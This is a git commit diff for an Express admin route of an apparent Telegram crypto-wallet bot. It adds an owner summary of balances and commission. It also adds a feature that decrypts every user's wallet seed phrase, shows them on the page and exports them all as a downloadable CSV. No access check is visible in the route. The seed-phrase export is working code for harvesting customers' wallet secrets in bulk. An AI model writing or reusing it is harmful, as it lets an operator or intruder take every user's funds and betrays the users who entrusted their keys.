feat: owner summary with wallet stats, commission info and seed phrase unlock

- Added Owner Summary section below user wallets with:
  - Total wallet balance (USD) across all currencies
  - Completed sales total
  - Commission calculation (rate × sales)
  - User and wallet counts
- Wallet balances by currency table (coin, count, balance, USD)
- Commission wallets display for owner payment
- Seed phrases section: locked by default, unlock via button
- CSV export for all decrypted seed phrases
- Seed phrase decrypt uses existing WalletService.decryptMnemonic
- Preserves user selection when toggling seed unlock
This commit is contained in:
NW
2026-06-23 12:51:57 +01:00
parent b6f21222e7
commit 76daf07bb4
3 changed files with 315 additions and 28 deletions

View File

@@ -1,32 +1,152 @@
import { Router } from 'express';
import db from '../../config/database.js';
import config from '../../config/config.js';
import WalletUtils from '../../utils/walletUtils.js';
import WalletService from '../../services/walletService.js';
import { decrypt } from '../../utils/encryption.js';
import logger from '../../utils/logger.js';
import { renderWalletLayout } from '../views/wallets.js';
const router = Router();
router.get('/', async (req, res) => {
const users = await db.allAsync(
`SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance,
COUNT(w.id) AS wallet_count
FROM users u
LEFT JOIN crypto_wallets w ON w.user_id = u.id AND w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
GROUP BY u.id
ORDER BY u.id DESC`
);
const selectedId = req.query.user ? parseInt(req.query.user, 10) : (users.length > 0 ? users[0].id : null);
let wallets = [];
let selectedUser = null;
if (selectedId) {
selectedUser = await db.getAsync('SELECT * FROM users WHERE id = ?', [selectedId]);
wallets = await db.allAsync(
`SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY wallet_type`,
[selectedId]
try {
const users = await db.allAsync(
`SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance,
COUNT(w.id) AS wallet_count
FROM users u
LEFT JOIN crypto_wallets w ON w.user_id = u.id AND w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
GROUP BY u.id
ORDER BY u.id DESC`
);
}
res.send(renderWalletLayout(users, selectedUser, wallets));
const selectedId = req.query.user ? parseInt(req.query.user, 10) : (users.length > 0 ? users[0].id : null);
let wallets = [];
let selectedUser = null;
if (selectedId) {
selectedUser = await db.getAsync('SELECT * FROM users WHERE id = ?', [selectedId]);
wallets = await db.allAsync(
`SELECT * FROM crypto_wallets WHERE user_id = ? AND wallet_type NOT LIKE '%#_%' ESCAPE '#' ORDER BY wallet_type`,
[selectedId]
);
}
let prices = {};
try { prices = await WalletUtils.getCryptoPrices(); } catch { prices = { btc: 0, ltc: 0, eth: 0 }; }
const allWallets = await db.allAsync(
`SELECT w.wallet_type, w.balance, w.address, w.user_id
FROM crypto_wallets w
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'`
);
const totals = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 };
const walletCounts = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 };
for (const w of allWallets) {
const type = (w.wallet_type || '').toLowerCase();
if (totals[type] !== undefined) {
totals[type] += w.balance || 0;
walletCounts[type]++;
}
}
const usdValues = {
btc: totals.btc * (prices.btc || 0),
ltc: totals.ltc * (prices.ltc || 0),
eth: totals.eth * (prices.eth || 0),
usdt: totals.usdt,
usdc: totals.usdc,
};
const totalUsd = Object.values(usdValues).reduce((s, v) => s + v, 0);
const totalPurchases = await db.getAsync(
`SELECT COALESCE(SUM(total_price), 0) AS total FROM purchases WHERE status = 'completed'`
);
const commissionRate = config.COMMISSION_PERCENT / 100;
const totalCommission = (totalPurchases?.total || 0) * commissionRate;
const seedsUnlocked = req.query.seeds === '1';
let seedPhrases = [];
if (seedsUnlocked) {
const walletsWithSeeds = await db.allAsync(
`SELECT w.*, u.telegram_id, u.username
FROM crypto_wallets w
JOIN users u ON w.user_id = u.id
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
ORDER BY u.id, w.wallet_type`
);
for (const w of walletsWithSeeds) {
try {
const mnemonic = decrypt(w.mnemonic, w.user_id);
seedPhrases.push({
userId: w.user_id,
username: w.username,
telegramId: w.telegram_id,
type: w.wallet_type,
address: w.address,
derivation: w.derivation_path,
mnemonic,
});
} catch {
seedPhrases.push({
userId: w.user_id, username: w.username, telegramId: w.telegram_id,
type: w.wallet_type, address: w.address, derivation: w.derivation_path,
mnemonic: '[decrypt error]',
});
}
}
}
const stats = {
totals, walletCounts, usdValues, totalUsd,
totalPurchases: totalPurchases?.total || 0,
commissionRate: config.COMMISSION_PERCENT,
totalCommission,
commissionEnabled: config.COMMISSION_ENABLED,
commissionWallets: config.COMMISSION_WALLETS,
prices,
totalUsers: users.length,
totalWallets: allWallets.length,
};
res.send(renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked));
} catch (error) {
logger.error({ err: error }, 'Error loading wallets page');
res.status(500).send('Error loading wallets page');
}
});
router.post('/export-seeds', async (req, res) => {
try {
const walletsWithSeeds = await db.allAsync(
`SELECT w.*, u.telegram_id, u.username
FROM crypto_wallets w
JOIN users u ON w.user_id = u.id
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
ORDER BY u.id, w.wallet_type`
);
const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']];
for (const w of walletsWithSeeds) {
let mnemonic = '';
try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; }
rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]);
}
const csv = rows.map(r => r.map(c => {
const s = String(c);
return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s;
}).join(',')).join('\n');
res.setHeader('Content-Type', 'text/csv');
res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv');
res.send(csv);
} catch (error) {
logger.error({ err: error }, 'Error exporting seeds');
res.status(500).send('Error exporting seeds');
}
});
export default router;